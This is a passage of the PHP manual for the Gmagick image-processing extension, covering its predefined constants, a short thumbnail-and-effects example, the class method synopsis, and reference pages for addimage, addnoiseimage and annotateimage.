The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
Gmagick::COMPOSITE_CLEAR (integer)
Makes the target image transparent
Gmagick::COMPOSITE_COLORBURN (integer)
Darkens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORDODGE (integer)
Brightens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORIZE (integer)
Colorizes the target image using the composite image
Gmagick::COMPOSITE_COPYBLACK (integer)
Copies black from the source to target
Gmagick::COMPOSITE_COPYBLUE (integer)
Copies blue from the source to target
Gmagick::COMPOSITE_COPY (integer)
Copies the source image on the target image
Gmagick::COMPOSITE_COPYCYAN (integer)
Copies cyan from the source to target
Gmagick::COMPOSITE_COPYGREEN (integer)
Copies green from the source to target
Gmagick::COMPOSITE_COPYMAGENTA (integer)
Copies magenta from the source to target
Gmagick::COMPOSITE_COPYOPACITY (integer)
Copies opacity from the source to target
Gmagick::COMPOSITE_COPYRED (integer)
Copies red from the source to target
Gmagick::COMPOSITE_COPYYELLOW (integer)
Copies yellow from the source to target
Gmagick::COMPOSITE_DARKEN (integer)
Darkens the target image
Gmagick::COMPOSITE_DSTATOP (integer)
The part of the destination lying inside of the source is composited over the source and replaces the destination
Gmagick::COMPOSITE_DST (integer)
The target is left untouched
Gmagick::COMPOSITE_DSTIN (integer)
The parts inside the source replace the target
Gmagick::COMPOSITE_DSTOUT (integer)
The parts outside the source replace the target
Gmagick::COMPOSITE_DSTOVER (integer)
Target replaces the source
Gmagick::COMPOSITE_DIFFERENCE (integer)
Subtracts the darker of the two constituent colors from the lighter
Gmagick::COMPOSITE_DISPLACE (integer)
Shifts target image pixels as defined by the source
Gmagick::COMPOSITE_DISSOLVE (integer)
Dissolves the source in to the target
Gmagick::COMPOSITE_EXCLUSION (integer)
Produces an effect similar to that of Gmagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
Gmagick::COMPOSITE_HARDLIGHT (integer)
Multiplies or screens the colors, dependent on the source color value
Gmagick::COMPOSITE_HUE (integer)
Modifies the hue of the target as defined by source
Gmagick::COMPOSITE_IN (integer)
Composites source into the target
Gmagick::COMPOSITE_LIGHTEN (integer)
Lightens the target as defined by source
Gmagick::COMPOSITE_LUMINIZE (integer)
Luminizes the target as defined by source
Gmagick::COMPOSITE_MINUS (integer)
Substracts the source from the target
Gmagick::COMPOSITE_MODULATE (integer)
Modulates the target brightness, saturation and hue as defined by source
Gmagick::COMPOSITE_MULTIPLY (integer)
Multiplies the target to the source
Gmagick::COMPOSITE_OUT (integer)
Composites outer parts of the source on the target
Gmagick::COMPOSITE_OVER (integer)
Composites source over the target
Gmagick::COMPOSITE_OVERLAY (integer)
Overlays the source on the target
Gmagick::COMPOSITE_PLUS (integer)
Adds the source to the target
Gmagick::COMPOSITE_REPLACE (integer)
Replaces the target with the source
Gmagick::COMPOSITE_SATURATE (integer)
Saturates the target as defined by the source
Gmagick::COMPOSITE_SCREEN (integer)
The source and destination are complemented and then multiplied and then replace the destination
Gmagick::COMPOSITE_SOFTLIGHT (integer)
Darkens or lightens the colors, dependent on the source
Gmagick::COMPOSITE_SRCATOP (integer)
The part of the source lying inside of the destination is composited onto the destination
Gmagick::COMPOSITE_SRC (integer)
The source is copied to the destination
Gmagick::COMPOSITE_SRCIN (integer)
The part of the source lying inside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOUT (integer)
The part of the source lying outside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOVER (integer)
The source replaces the destination
Gmagick::COMPOSITE_SUBTRACT (integer)
Subtract the colors in the source image from the destination image
Gmagick::COMPOSITE_THRESHOLD (integer)
The source is composited on the target as defined by source threshold
Gmagick::COMPOSITE_XOR (integer)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
Montage Mode constants
Gmagick::MONTAGEMODE_FRAME (integer)
Gmagick::MONTAGEMODE_UNFRAME (integer)
Gmagick::MONTAGEMODE_CONCATENATE (integer)
Style constants
Gmagick::STYLE_NORMAL (integer)
Gmagick::STYLE_ITALIC (integer)
Gmagick::STYLE_OBLIQUE (integer)
Gmagick::STYLE_ANY (integer)
Filter constants
Gmagick::FILTER_UNDEFINED (integer)
Gmagick::FILTER_POINT (integer)
Gmagick::FILTER_BOX (integer)
Gmagick::FILTER_TRIANGLE (integer)
Gmagick::FILTER_HERMITE (integer)
Gmagick::FILTER_HANNING (integer)
Gmagick::FILTER_HAMMING (integer)
Gmagick::FILTER_BLACKMAN (integer)
Gmagick::FILTER_GAUSSIAN (integer)
Gmagick::FILTER_QUADRATIC (integer)
Gmagick::FILTER_CUBIC (integer)
Gmagick::FILTER_CATROM (integer)
Gmagick::FILTER_MITCHELL (integer)
Gmagick::FILTER_LANCZOS (integer)
Gmagick::FILTER_BESSEL (integer)
Gmagick::FILTER_SINC (integer)
Image type constants
Gmagick::IMGTYPE_UNDEFINED (integer)
Gmagick::IMGTYPE_BILEVEL (integer)
Gmagick::IMGTYPE_GRAYSCALE (integer)
Gmagick::IMGTYPE_GRAYSCALEMATTE (integer)
Gmagick::IMGTYPE_PALETTE (integer)
Gmagick::IMGTYPE_PALETTEMATTE (integer)
Gmagick::IMGTYPE_TRUECOLOR (integer)
Gmagick::IMGTYPE_TRUECOLORMATTE (integer)
Gmagick::IMGTYPE_COLORSEPARATION (integer)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
Gmagick::IMGTYPE_OPTIMIZE (integer)
Resolution constants
Gmagick::RESOLUTION_UNDEFINED (integer)
Gmagick::RESOLUTION_PIXELSPERINCH (integer)
Gmagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
Compression constants
Gmagick::COMPRESSION_UNDEFINED (integer)
Gmagick::COMPRESSION_NO (integer)
Gmagick::COMPRESSION_BZIP (integer)
Gmagick::COMPRESSION_FAX (integer)
Gmagick::COMPRESSION_GROUP4 (integer)
Gmagick::COMPRESSION_JPEG (integer)
Gmagick::COMPRESSION_JPEG2000 (integer)
Gmagick::COMPRESSION_LOSSLESSJPEG (integer)
Gmagick::COMPRESSION_LZW (integer)
Gmagick::COMPRESSION_RLE (integer)
Gmagick::COMPRESSION_ZIP (integer)
Paint constants
Gmagick::PAINT_POINT (integer)
Gmagick::PAINT_REPLACE (integer)
Gmagick::PAINT_FLOODFILL (integer)
Gmagick::PAINT_FILLTOBORDER (integer)
Gmagick::PAINT_RESET (integer)
Gravity constants
Gmagick::GRAVITY_NORTHWEST (integer)
Gmagick::GRAVITY_NORTH (integer)
Gmagick::GRAVITY_NORTHEAST (integer)
Gmagick::GRAVITY_WEST (integer)
Gmagick::GRAVITY_CENTER (integer)
Gmagick::GRAVITY_EAST (integer)
Gmagick::GRAVITY_SOUTHWEST (integer)
Gmagick::GRAVITY_SOUTH (integer)
Gmagick::GRAVITY_SOUTHEAST (integer)
Stretch constants
Gmagick::STRETCH_NORMAL (integer)
Gmagick::STRETCH_ULTRACONDENSED (integer)
Gmagick::STRETCH_CONDENSED (integer)
Gmagick::STRETCH_SEMICONDENSED (integer)
Gmagick::STRETCH_SEMIEXPANDED (integer)
Gmagick::STRETCH_EXPANDED (integer)
Gmagick::STRETCH_EXTRAEXPANDED (integer)
Gmagick::STRETCH_ULTRAEXPANDED (integer)
Gmagick::STRETCH_ANY (integer)
Align constants
Gmagick::ALIGN_UNDEFINED (integer)
Gmagick::ALIGN_LEFT (integer)
Gmagick::ALIGN_CENTER (integer)
Gmagick::ALIGN_RIGHT (integer)
Decoration constants
Gmagick::DECORATION_NO (integer)
Gmagick::DECORATION_UNDERLINE (integer)
Gmagick::DECORATION_OVERLINE (integer)
Gmagick::DECORATION_LINETROUGH (integer)
Noise constants
Gmagick::NOISE_UNIFORM (integer)
Gmagick::NOISE_GAUSSIAN (integer)
Gmagick::NOISE_MULTIPLICATIVEGAUSSIAN (integer)
Gmagick::NOISE_IMPULSE (integer)
Gmagick::NOISE_LAPLACIAN (integer)
Gmagick::NOISE_POISSON (integer)
Channel constants
Gmagick::CHANNEL_UNDEFINED (integer)
Gmagick::CHANNEL_RED (integer)
Gmagick::CHANNEL_GRAY (integer)
Gmagick::CHANNEL_CYAN (integer)
Gmagick::CHANNEL_GREEN (integer)
Gmagick::CHANNEL_MAGENTA (integer)
Gmagick::CHANNEL_BLUE (integer)
Gmagick::CHANNEL_YELLOW (integer)
Gmagick::CHANNEL_ALPHA (integer)
Gmagick::CHANNEL_OPACITY (integer)
Gmagick::CHANNEL_MATTE (integer)
Gmagick::CHANNEL_BLACK (integer)
Gmagick::CHANNEL_INDEX (integer)
Gmagick::CHANNEL_ALL (integer)
Metric constants
Gmagick::METRIC_UNDEFINED (integer)
Gmagick::METRIC_MEANABSOLUTEERROR (integer)
Gmagick::METRIC_MEANSQUAREERROR (integer)
Gmagick::METRIC_PEAKABSOLUTEERROR (integer)
Gmagick::METRIC_PEAKSIGNALTONOISERATIO (integer)
Gmagick::METRIC_ROOTMEANSQUAREDERROR (integer)
Pixel constants
Gmagick::PIXEL_CHAR (integer)
Gmagick::PIXEL_DOUBLE (integer)
Gmagick::PIXEL_FLOAT (integer)
Gmagick::PIXEL_INTEGER (integer)
Gmagick::PIXEL_LONG (integer)
Gmagick::PIXEL_QUANTUM (integer)
Gmagick::PIXEL_SHORT (integer)
Colorspace constants
Gmagick::COLORSPACE_UNDEFINED (integer)
Gmagick::COLORSPACE_RGB (integer)
Gmagick::COLORSPACE_GRAY (integer)
Gmagick::COLORSPACE_TRANSPARENT (integer)
Gmagick::COLORSPACE_OHTA (integer)
Gmagick::COLORSPACE_LAB (integer)
Gmagick::COLORSPACE_XYZ (integer)
Gmagick::COLORSPACE_YCBCR (integer)
Gmagick::COLORSPACE_YCC (integer)
Gmagick::COLORSPACE_YIQ (integer)
Gmagick::COLORSPACE_YPBPR (integer)
Gmagick::COLORSPACE_YUV (integer)
Gmagick::COLORSPACE_CMYK (integer)
Gmagick::COLORSPACE_SRGB (integer)
Gmagick::COLORSPACE_HSB (integer)
Gmagick::COLORSPACE_HSL (integer)
Gmagick::COLORSPACE_HWB (integer)
Gmagick::COLORSPACE_REC601LUMA (integer)
Gmagick::COLORSPACE_REC709LUMA (integer)
Gmagick::COLORSPACE_LOG (integer)
Virtual Pixel Method constants
Gmagick::VIRTUALPIXELMETHOD_UNDEFINED (integer)
Gmagick::VIRTUALPIXELMETHOD_BACKGROUND (integer)
Gmagick::VIRTUALPIXELMETHOD_CONSTANT (integer)
Gmagick::VIRTUALPIXELMETHOD_EDGE (integer)
Gmagick::VIRTUALPIXELMETHOD_MIRROR (integer)
Gmagick::VIRTUALPIXELMETHOD_TILE (integer)
Gmagick::VIRTUALPIXELMETHOD_TRANSPARENT (integer)
Preview constants
Gmagick::PREVIEW_UNDEFINED (integer)
Gmagick::PREVIEW_ROTATE (integer)
Gmagick::PREVIEW_SHEAR (integer)
Gmagick::PREVIEW_ROLL (integer)
Gmagick::PREVIEW_HUE (integer)
Gmagick::PREVIEW_SATURATION (integer)
Gmagick::PREVIEW_BRIGHTNESS (integer)
Gmagick::PREVIEW_GAMMA (integer)
Gmagick::PREVIEW_SPIFF (integer)
Gmagick::PREVIEW_DULL (integer)
Gmagick::PREVIEW_GRAYSCALE (integer)
Gmagick::PREVIEW_QUANTIZE (integer)
Gmagick::PREVIEW_DESPECKLE (integer)
Gmagick::PREVIEW_REDUCENOISE (integer)
Gmagick::PREVIEW_ADDNOISE (integer)
Gmagick::PREVIEW_SHARPEN (integer)
Gmagick::PREVIEW_BLUR (integer)
Gmagick::PREVIEW_THRESHOLD (integer)
Gmagick::PREVIEW_EDGEDETECT (integer)
Gmagick::PREVIEW_SPREAD (integer)
Gmagick::PREVIEW_SOLARIZE (integer)
Gmagick::PREVIEW_SHADE (integer)
Gmagick::PREVIEW_RAISE (integer)
Gmagick::PREVIEW_SEGMENT (integer)
Gmagick::PREVIEW_SWIRL (integer)
Gmagick::PREVIEW_IMPLODE (integer)
Gmagick::PREVIEW_WAVE (integer)
Gmagick::PREVIEW_OILPAINT (integer)
Gmagick::PREVIEW_CHARCOALDRAWING (integer)
Gmagick::PREVIEW_JPEG (integer)
Rendering Intent constants
Gmagick::RENDERINGINTENT_UNDEFINED (integer)
Gmagick::RENDERINGINTENT_SATURATION (integer)
Gmagick::RENDERINGINTENT_PERCEPTUAL (integer)
Gmagick::RENDERINGINTENT_ABSOLUTE (integer)
Gmagick::RENDERINGINTENT_RELATIVE (integer)
Fillrule constants
Gmagick::FILLRULE_UNDEFINED (integer)
Gmagick::FILLRULE_EVENODD (integer)
Gmagick::FILLRULE_NONZERO (integer)
Pathunit constants
Gmagick::PATHUNITS_UNDEFINED (integer)
Gmagick::PATHUNITS_USERSPACE (integer)
Gmagick::PATHUNITS_USERSPACEONUSE (integer)
Gmagick::PATHUNITS_OBJECTBOUNDINGBOX (integer)
Linecap constants
Gmagick::LINECAP_UNDEFINED (integer)
Gmagick::LINECAP_BUTT (integer)
Gmagick::LINECAP_ROUND (integer)
Gmagick::LINECAP_SQUARE (integer)
Line Join constants
Gmagick::LINEJOIN_UNDEFINED (integer)
Gmagick::LINEJOIN_MITER (integer)
Gmagick::LINEJOIN_ROUND (integer)
Gmagick::LINEJOIN_BEVEL (integer)
Resourcetype constants
Gmagick::RESOURCETYPE_UNDEFINED (integer)
Gmagick::RESOURCETYPE_AREA (integer)
Gmagick::RESOURCETYPE_DISK (integer)
Gmagick::RESOURCETYPE_FILE (integer)
Gmagick::RESOURCETYPE_MAP (integer)
Gmagick::RESOURCETYPE_MEMORY (integer)
Orientation constants
Gmagick::ORIENTATION_UNDEFINED (integer)
Gmagick::ORIENTATION_TOPLEFT (integer)
Gmagick::ORIENTATION_TOPRIGHT (integer)
Gmagick::ORIENTATION_BOTTOMRIGHT (integer)
Gmagick::ORIENTATION_BOTTOMLEFT (integer)
Gmagick::ORIENTATION_LEFTTOP (integer)
Gmagick::ORIENTATION_RIGHTTOP (integer)
Gmagick::ORIENTATION_RIGHTBOTTOM (integer)
Gmagick::ORIENTATION_LEFTBOTTOM (integer)

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Examples
Gmagick


Examples

The following shows some common Gmagick image operations.

Example #1 Gmagick Example

<?php
//Instantiate a new Gmagick object
$image = new Gmagick('example.jpg');

//Make thumbnail from image loaded. 0 for either axes preserves aspect ratio
$image->thumbnailImage(100, 0);

//Create a border around the image, then simulate how the image will look like as an oil painting
//Notice the chaining of mutator methods which is supported in gmagick
$image->borderImage("yellow", 8, 8)->oilPaintImage(0.3);

//Write the current image at the current state to a file
$image->write('example_thumbnail.jpg');
?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Gmagick
Gmagick


The Gmagick class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Gmagick {
/* Methods */
public Gmagick addimage ( Gmagick $Gmagick )
public Gmagick addnoiseimage ( int $NOISE )
public Gmagick annotateimage ( GmagickDraw $GmagickDraw , float $x , float $y , float $angle , string $text )
public Gmagick blurimage ( float $radius , float $sigma [, int $channel ] )
public Gmagick borderimage ( GmagickPixel $color , int $width , int $height )
public Gmagick charcoalimage ( float $radius , float $sigma )
public Gmagick chopimage ( int $width , int $height , int $x , int $y )
public Gmagick clear ( void )
public Gmagick commentimage ( string $comment )
public Gmagick compositeimage ( Gmagick $source , int $COMPOSE , int $x , int $y )
public __construct ([ string $filename ] )
public Gmagick cropimage ( int $width , int $height , int $x , int $y )
public Gmagick cropthumbnailimage ( int $width , int $height )
public Gmagick current ( void )
public Gmagick cyclecolormapimage ( int $displace )
public void deconstructimages ( void )
public Gmagick despeckleimage ( void )
public Gmagick destroy ( void )
public Gmagick drawimage ( GmagickDraw $GmagickDraw )
public Gmagick edgeimage ( float $radius )
public Gmagick embossimage ( float $radius , float $sigma )
public Gmagick enhanceimage ( void )
public Gmagick equalizeimage ( void )
public Gmagick flipimage ( void )
public Gmagick flopimage ( void )
public Gmagick frameimage ( GmagickPixel $color , int $width , int $height , int $inner_bevel , int $outer_bevel )
public Gmagick gammaimage ( float $gamma )
public string getcopyright ( void )
public string getfilename ( void )
public void getimagebackgroundcolor ( void )
public array getimageblueprimary ( void )
public void getimagebordercolor ( void )
public int getimagechanneldepth ( int $channel_type )
public int getimagecolors ( void )
public int getimagecolorspace ( void )
public int getimagecompose ( void )
public int getimagedelay ( void )
public int getimagedepth ( void )
public int getimagedispose ( void )
public array getimageextrema ( void )
public string getimagefilename ( void )
public string getimageformat ( void )
public float getimagegamma ( void )
public array getimagegreenprimary ( void )
public int getimageheight ( void )
public array getimagehistogram ( void )
public int getimageindex ( void )
public int getimageinterlacescheme ( void )
public int getimageiterations ( void )
public int getimagematte ( void )
public void getimagemattecolor ( void )
public string getimageprofile ( string $name )
public array getimageredprimary ( void )
public int getimagerenderingintent ( void )
public array getimageresolution ( void )
public int getimagescene ( void )
public string getimagesignature ( void )
public int getimagetype ( void )
public int getimageunits ( void )
public array getimagewhitepoint ( void )
public int getimagewidth ( void )
public string getpackagename ( void )
public array getquantumdepth ( void )
public string getreleasedate ( void )
public array getsamplingfactors ( void )
public array getsize ( void )
public array getversion ( void )
public mixed hasnextimage ( void )
public mixed haspreviousimage ( void )
public mixed implodeimage ( float $radius )
public mixed labelimage ( string $label )
public mixed levelimage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Gmagick::CHANNEL_DEFAULT ] )
public mixed magnifyimage ( void )
public Gmagick mapimage ( gmagick $gmagick , bool $dither )
public void medianfilterimage ( float $radius )
public void minifyimage ( void )
public void modulateimage ( float $brightness , float $saturation , float $hue )
public void motionblurimage ( float $radius , float $sigma , float $angle )
public void newimage ( int $width , int $height , string $background [, string $format ] )
public bool nextimage ( void )
public void normalizeimage ([ int $channel ] )
public void oilpaintimage ( float $radius )
public bool previousimage ( void )
public void profileimage ( string $name , string $profile )
public void quantizeimage ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )
public void quantizeimages ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )
public array queryfontmetrics ( GmagickDraw $draw , string $text )
public array queryfonts ([ string $pattern = "*" ] )
public array queryformats ([ string $pattern = "*" ] )
public void radialblurimage ( float $angle [, int $channel = Gmagick::CHANNEL_DEFAULT ] )
public void raiseimage ( int $width , int $height , int $x , int $y , bool $raise )
public void read ( string $filename )
public void readimage ( string $filename )
public void readimageblob ( string $imageContents [, string $filename ] )
public void readimagefile ( resource $fp [, string $filename ] )
public void reducenoiseimage ( float $radius )
public void removeimage ( void )
public string removeimageprofile ( string $name )
public void resampleimage ( float $xResolution , float $yResolution , int $filter , float $blur )
public void resizeimage ( int $width , int $height , int $filter , float $blur [, bool $fit = false ] )
public void rollimage ( int $x , int $y )
public Gmagick rotateimage ( mixed $color , float $degrees )
public Gmagick scaleimage ( int $width , int $height [, bool $fit = false ] )
public Gmagick separateimagechannel ( int $channel )
public Gmagick setfilename ( string $filename )
public Gmagick setimagebackgroundcolor ( GmagickPixel $color )
public Gmagick setimageblueprimary ( float $x , float $y )
public Gmagick setimagebordercolor ( GmagickPixel $color )
public Gmagick setimagechanneldepth ( int $channel , int $depth )
public Gmagick setimagecolorspace ( int $colorspace )
public Gmagick setimagecompose ( int $composite )
public Gmagick setimagedelay ( int $delay )
public Gmagick setimagedepth ( int $depth )
public Gmagick setimagedispose ( int $disposeType )
public Gmagick setimagefilename ( string $filename )
public Gmagick setimageformat ( string $imageFormat )
public Gmagick setimagegamma ( float $gamma )
public Gmagick setimagegreenprimary ( float $x , float $y )
public Gmagick setimageindex ( int $index )
public Gmagick setimageinterlacescheme ( int $interlace )
public Gmagick setimageiterations ( int $iterations )
public Gmagick setimageprofile ( string $name , string $profile )
public Gmagick setimageredprimary ( float $x , float $y )
public Gmagick setimagerenderingintent ( int $rendering_intent )
public Gmagick setimageresolution ( float $xResolution , float $yResolution )
public Gmagick setimagescene ( int $scene )
public Gmagick setimagetype ( int $imgType )
public Gmagick setimageunits ( int $resolution )
public Gmagick setimagewhitepoint ( float $x , float $y )
public Gmagick setsamplingfactors ( array $factors )
public Gmagick setsize ( int $columns , int $rows )
public Gmagick shearimage ( mixed $color , float $xShear , float $yShear )
public Gmagick solarizeimage ( int $threshold )
public Gmagick spreadimage ( float $radius )
public Gmagick stripimage ( void )
public Gmagick swirlimage ( float $degrees )
public Gmagick thumbnailimage ( int $width , int $height [, bool $fit = false ] )
public Gmagick trimimage ( float $fuzz )
public void write ( string $filename )
public Gmagick writeimage ( string $filename [, bool $all_frames = false ] )
}

Table of Contents

  • Gmagick::addimage — Adds new image to Gmagick object image list
  • Gmagick::addnoiseimage — Adds random noise to the image
  • Gmagick::annotateimage — Annotates an image with text
  • Gmagick::blurimage — Adds blur filter to image
  • Gmagick::borderimage — Surrounds the image with a border
  • Gmagick::charcoalimage — Simulates a charcoal drawing
  • Gmagick::chopimage — Removes a region of an image and trims
  • Gmagick::clear — Clears all resources associated to Gmagick object
  • Gmagick::commentimage — Adds a comment to your image
  • Gmagick::compositeimage — Composite one image onto another
  • Gmagick::__construct — The Gmagick constructor
  • Gmagick::cropimage — Extracts a region of the image
  • Gmagick::cropthumbnailimage — Creates a crop thumbnail
  • Gmagick::current — The current purpose
  • Gmagick::cyclecolormapimage — Displaces an image's colormap
  • Gmagick::deconstructimages — Returns certain pixel differences between images
  • Gmagick::despeckleimage — The despeckleimage purpose
  • Gmagick::destroy — The destroy purpose
  • Gmagick::drawimage — Renders the GmagickDraw object on the current image
  • Gmagick::edgeimage — Enhance edges within the image
  • Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect
  • Gmagick::enhanceimage — Improves the quality of a noisy image
  • Gmagick::equalizeimage — Equalizes the image histogram
  • Gmagick::flipimage — Creates a vertical mirror image
  • Gmagick::flopimage — The flopimage purpose
  • Gmagick::frameimage — Adds a simulated three-dimensional border
  • Gmagick::gammaimage — Gamma-corrects an image
  • Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string
  • Gmagick::getfilename — The filename associated with an image sequence
  • Gmagick::getimagebackgroundcolor — Returns the image background color
  • Gmagick::getimageblueprimary — Returns the chromaticy blue primary point
  • Gmagick::getimagebordercolor — Returns the image border color
  • Gmagick::getimagechanneldepth — Gets the depth for a particular image channel
  • Gmagick::getimagecolors — Returns the color of the specified colormap index
  • Gmagick::getimagecolorspace — Gets the image colorspace
  • Gmagick::getimagecompose — Returns the composite operator associated with the image
  • Gmagick::getimagedelay — Gets the image delay
  • Gmagick::getimagedepth — Gets the depth of the image
  • Gmagick::getimagedispose — Gets the image disposal method
  • Gmagick::getimageextrema — Gets the extrema for the image
  • Gmagick::getimagefilename — Returns the filename of a particular image in a sequence
  • Gmagick::getimageformat — Returns the format of a particular image in a sequence
  • Gmagick::getimagegamma — Gets the image gamma
  • Gmagick::getimagegreenprimary — Returns the chromaticy green primary point
  • Gmagick::getimageheight — Returns the image height
  • Gmagick::getimagehistogram — Gets the image histogram
  • Gmagick::getimageindex — Gets the index of the current active image
  • Gmagick::getimageinterlacescheme — Gets the image interlace scheme
  • Gmagick::getimageiterations — Gets the image iterations
  • Gmagick::getimagematte — Return if the image has a matte channel
  • Gmagick::getimagemattecolor — Returns the image matte color
  • Gmagick::getimageprofile — Returns the named image profile.
  • Gmagick::getimageredprimary — Returns the chromaticity red primary point
  • Gmagick::getimagerenderingintent — Gets the image rendering intent
  • Gmagick::getimageresolution — Gets the image X and Y resolution
  • Gmagick::getimagescene — Gets the image scene
  • Gmagick::getimagesignature — Generates an SHA-256 message digest
  • Gmagick::getimagetype — Gets the potential image type.
  • Gmagick::getimageunits — Gets the image units of resolution
  • Gmagick::getimagewhitepoint — Returns the chromaticity white point
  • Gmagick::getimagewidth — Returns the width of the image
  • Gmagick::getpackagename — Returns the GraphicsMagick package name.
  • Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string.
  • Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string.
  • Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor.
  • Gmagick::getsize — Returns the size associated with the Gmagick object
  • Gmagick::getversion — Returns the GraphicsMagick API version
  • Gmagick::hasnextimage — Checks if the object has more images
  • Gmagick::haspreviousimage — Checks if the object has a previous image
  • Gmagick::implodeimage — Creates a new image as a copy
  • Gmagick::labelimage — Adds a label to an image.
  • Gmagick::levelimage — Adjusts the levels of an image
  • Gmagick::magnifyimage — Scales an image proportionally 2x
  • Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image.
  • Gmagick::medianfilterimage — Applies a digital filter
  • Gmagick::minifyimage — Scales an image proportionally to half its size
  • Gmagick::modulateimage — Control the brightness, saturation, and hue
  • Gmagick::motionblurimage — Simulates motion blur
  • Gmagick::newimage — Creates a new image
  • Gmagick::nextimage — Moves to the next image
  • Gmagick::normalizeimage — Enhances the contrast of a color image
  • Gmagick::oilpaintimage — Simulates an oil painting
  • Gmagick::previousimage — Move to the previous image in the object
  • Gmagick::profileimage — Adds or removes a profile from an image
  • Gmagick::quantizeimage — Analyzes the colors within a reference image
  • Gmagick::quantizeimages — The quantizeimages purpose
  • Gmagick::queryfontmetrics — Returns an array representing the font metrics
  • Gmagick::queryfonts — Returns the configured fonts
  • Gmagick::queryformats — Returns formats supported by Gmagick.
  • Gmagick::radialblurimage — Radial blurs an image
  • Gmagick::raiseimage — Creates a simulated 3d button-like effect
  • Gmagick::read — Reads image from filename
  • Gmagick::readimage — Reads image from filename
  • Gmagick::readimageblob — Reads image from a binary string
  • Gmagick::readimagefile — The readimagefile purpose
  • Gmagick::reducenoiseimage — Smooths the contours of an image
  • Gmagick::removeimage — Removes an image from the image list
  • Gmagick::removeimageprofile — Removes the named image profile and returns it
  • Gmagick::resampleimage — Resample image to desired resolution
  • Gmagick::resizeimage — Scales an image
  • Gmagick::rollimage — Offsets an image
  • Gmagick::rotateimage — Rotates an image
  • Gmagick::scaleimage — Scales the size of an image
  • Gmagick::separateimagechannel — Separates a channel from the image
  • Gmagick::setfilename — Sets the filename before you read or write the image
  • Gmagick::setimagebackgroundcolor — Sets the image background color.
  • Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point.
  • Gmagick::setimagebordercolor — Sets the image border color.
  • Gmagick::setimagechanneldepth — Sets the depth of a particular image channel
  • Gmagick::setimagecolorspace — Sets the image colorspace
  • Gmagick::setimagecompose — Sets the image composite operator
  • Gmagick::setimagedelay — Sets the image delay
  • Gmagick::setimagedepth — Sets the image depth
  • Gmagick::setimagedispose — Sets the image disposal method
  • Gmagick::setimagefilename — Sets the filename of a particular image in a sequence
  • Gmagick::setimageformat — Sets the format of a particular image
  • Gmagick::setimagegamma — Sets the image gamma
  • Gmagick::setimagegreenprimary — TSets the image chromaticity green primary point.
  • Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter
  • Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image.
  • Gmagick::setimageiterations — Sets the image iterations.
  • Gmagick::setimageprofile — Adds a named profile to the Gmagick object
  • Gmagick::setimageredprimary — Sets the image chromaticity red primary point.
  • Gmagick::setimagerenderingintent — Sets the image rendering intent
  • Gmagick::setimageresolution — Sets the image resolution
  • Gmagick::setimagescene — Sets the image scene
  • Gmagick::setimagetype — Sets the image type
  • Gmagick::setimageunits — Sets the image units of resolution.
  • Gmagick::setimagewhitepoint — Sets the image chromaticity white point.
  • Gmagick::setsamplingfactors — Sets the image sampling factors.
  • Gmagick::setsize — Sets the size of the Gmagick object
  • Gmagick::shearimage — Creating a parallelogram
  • Gmagick::solarizeimage — Applies a solarizing effect to the image
  • Gmagick::spreadimage — Randomly displaces each pixel in a block
  • Gmagick::stripimage — Strips an image of all profiles and comments
  • Gmagick::swirlimage — Swirls the pixels about the center of the image
  • Gmagick::thumbnailimage — Changes the size of an image
  • Gmagick::trimimage — Remove edges from the image
  • Gmagick::write — Writes an image to the specified filename
  • Gmagick::writeimage — Writes an image to the specified filename

User Contributed Notes

robert at cesaric dot com 24-Jun-2011 06:27
getNumberImages() isn't documented here but it is available.  You can look at ImageMagick documentation for use.
Examples
Gmagick::addimage
Gmagick


Adds new image to Gmagick object image list

Gmagick
Gmagick::addnoiseimage
Gmagick
PHP Manual

Gmagick::addimage

(PECL gmagick >= Unknown)

Gmagick::addimage — Adds new image to Gmagick object image list

Description

public Gmagick Gmagick::addimage ( Gmagick $Gmagick )

Adds new image to Gmagick object from the current position of the source object. After the operation iterator position is moved at the end of the list.

Parameters

source

The source Gmagick object

Return Values

The Gmagick object with image added

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick
Gmagick::addnoiseimage
Gmagick


Adds random noise to the image

Gmagick::addimage
Gmagick::annotateimage
Gmagick
PHP Manual

Gmagick::addnoiseimage

(PECL gmagick >= Unknown)

Gmagick::addnoiseimage — Adds random noise to the image

Description

public Gmagick Gmagick::addnoiseimage ( int $NOISE )

Adds random noise to the image.

Parameters

noise_type

The type of the noise. Refer to this list of noise constants.

Return Values

The Gmagick object with noise added.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::addimage
Gmagick::annotateimage
Gmagick


Annotates an image with text

Gmagick::addnoiseimage
Gmagick::blurimage
Gmagick
PHP Manual

Gmagick::annotateimage

(PECL gmagick >= Unknown)

Gmagick::annotateimage — Annotates an image with text

Description

public Gmagick Gmagick::annotateimage ( GmagickDraw $GmagickDraw , float $x , float $y , float $angle , string $text )

Annotates an image with text.

Parameters

GmagickDraw

The GmagickDraw object that contains settings for drawing the text

x

Horizontal offset in pixels to the left of text

y

Vertical offset in pixels to the baseline of text

angle

The angle at which to write the text

text

The string to draw

Return Values

The Gmagick object with annotation made.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::addnoiseimage
